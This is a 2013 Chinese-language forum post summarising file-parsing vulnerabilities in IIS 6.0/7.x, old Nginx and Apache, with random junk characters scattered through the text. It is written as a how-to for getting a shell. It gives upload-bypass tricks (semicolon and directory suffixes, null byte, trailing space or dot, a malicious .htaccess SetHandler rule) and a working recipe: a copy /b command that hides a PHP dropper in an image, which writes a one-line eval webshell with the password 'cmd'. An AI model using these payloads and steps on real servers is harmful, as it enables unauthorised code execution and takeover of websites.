找回密码
 立即注册
查看: 3252|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
( }+ o* l2 M) w, }% H3 l8 L; F[+]IIS6.0$ n" o: `$ Y7 b
5 U; d. D% x7 e
目录解析:/xx.asp/xx.jpg
( R/ m: Q, V! s1 Z) J xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
/ g+ i& h# @) R: g( j IIS6.0 会将 xx.jpg 解析为 asp 文件。
) e5 x# y3 a; a; g后缀解析:/xx.asp;.jpg     4 Y" f- I% p) U4 D$ f5 ?
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。9 u, Q7 N0 ^9 f7 f& b- G0 i7 ~
默认解析:/xx.asa
& r- |- O+ Y2 c" \+ H9 m% B         /xx.cer
3 f& U. h- k- @' Q, ~" j. R# I+ }         /xx.cdx
( j  b/ m( x7 N! j/ }2 u; P IIS6.0 默认的可执行文件除了 asp 还包含这三种% x2 A! \/ a" b  O
此处可联系利用目录解析漏洞 + N" v* t  h4 M) ]
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg" A7 N+ S( o6 C1 {6 ]# W0 W
[+]IIS 7.0/IIS 7.5/Nginx <0.8.036 s* c0 r1 ~: c8 l8 I) w" Q$ }  i& r

( x' a" `2 I8 z0 l( A% ` IIS 7.0/IIS 7.5/Nginx <0.8.036 t! B# z! A8 v( C; K  m0 M
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面4 @. @/ x# }5 D6 v3 E: i1 T. y
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
' @2 r0 u; q* {6 d6 F 常用利用方法:9 K+ U. [5 ?) D! A8 T
将一张图和一个写入后门代码的文本文件合并将恶意文本
' ]  u$ ^' A3 I; s) G+ u 写入图片的二进制代码之后,避免破坏图片文件头和尾
$ B! ^! {  ^, w9 |6 }6 ?$ P. A! g# r 如:
, o% X$ m# O# T5 Y/ a  [ copy xx.jpg /b + yy.txt/a xy.jpg
6 `9 I" _' L. z' @6 h, W #########################################################4 ~) z# c& d4 f1 v
/b 即二进制[binary]模式2 n. [7 M7 F+ y
/a 即ascii模式
- x/ h% ~1 F1 A/ u9 N& w xx.jpg 正常图片文件# q# @5 c% j$ p3 H' T
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),  j* D7 k: l8 K& s. _* f( [) c0 O4 ^
'<?php eval($_POST[cmd])?>');?>
* _. a, p, s+ s 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
' J; o+ w9 `5 v 为shell.php的文件$ b: x1 T& G* q1 ~! K' T. |
###########################################################3 A7 [, B7 h" U+ G1 W
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
% k1 W/ f+ `: w& T; c. a% Y' K 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php $ ]( ~% L7 F. X7 f
密码 cmd5 ~1 ]6 m, a( I* g
[+]Nginx <0.8.03. H5 \8 Y3 w& u$ K" }  w" w! L

, ]8 H% Y: [& }8 k 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞8 C! ?5 o9 o- D5 s
在一个文件路径(/xx.jpg)后面加上%00.php6 R. h+ \4 Z6 W1 |6 T
会将 /xx.jpg%00.php 解析为 php 文件。
9 J4 w% o4 q" x3 f# }) O5 w[+]Apache<0.8.03
2 S) B9 V0 t$ y& M / _* T% f) h/ n! s
后缀解析:test.php.x1.x2.x3
7 _4 y. Y$ Q( P- _ Apache将从右至左开始判断后缀,若x3非可识别后缀,
4 r6 X( q4 y" l  h* c- E# ]; R, x 再判断x2,直到找到可识别后缀为止,然后将该可识别
4 V. H$ F2 }) @/ E3 {1 y 后缀进解析test.php.x1.x2.x3 则会被解析为php
' r0 G# p) J+ B7 _ 经验之谈:php|php3|phtml 多可被Apache解析。0 n) _5 ^; }; v. m: y
[+]其他一些可利用的
: k; b; [" S5 l2 \/ i / t! A, E; X0 m/ y
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
  r1 ]! L/ Y: j7 B' e若这样命名,windows会默认除去空格或点,这也是可以被利用的!6 e0 L7 u9 l2 f4 h% x) n- W
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
! [( ]* q+ o' q或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
$ Q4 K; Y% E7 k得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。0 B( t1 J$ r, U: |5 ]" f0 A0 ]
{Linux主机中不行,Linux允许这类文件存在}5 \) V2 Z, k8 I; ]# Z6 u
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
: ]2 L; i/ Z: \% g$ S( C6 Y的,当初我并不知道),且可以被上传,那可以尝试在0 y+ e7 j" ?9 Z2 ?" G
.htaccess中写入:$ @$ H( c5 U% r" ~
<FilesMatch “shell.jpg”> & _. l/ h) `  y3 Y
SetHandler application/x-httpd-php
& I, E1 u! o0 I2 c( ]' K</FilesMatch>
8 ~" V" k+ H: v$ T; q  x5 Cshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
( M( h  }' r; t0 Y/ a! w8 v9 N& A[+]错误修改
: U6 D5 c: ^" E1 ^+ C
+ y# ]; o- ^( T0 P; n* [3 H在 IIS 6.0 下可解析 /xx.asp:.jpg
, |/ \7 ]+ t$ Z: J$ R{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
, K1 R. z+ B; d0 v剩下/xx.asp}修改:
8 g" \. b! h# R: i3 s: ^先谢谢核攻击的提醒
- m, [9 ]. P9 g' P当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp) \2 U% x1 z7 _) u0 Q
里是没有任何内容的,因为。。不好解释 大家自己看
8 v& a1 \& x" ]# R5 s, o* Ehttp://lcx.cc/?i=2448
# R1 N- ]! a7 A% h. khttp://baike.baidu.com/view/3619593.htm; n6 v& h3 c( }* q4 u

9 F( X: P  f) J# v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表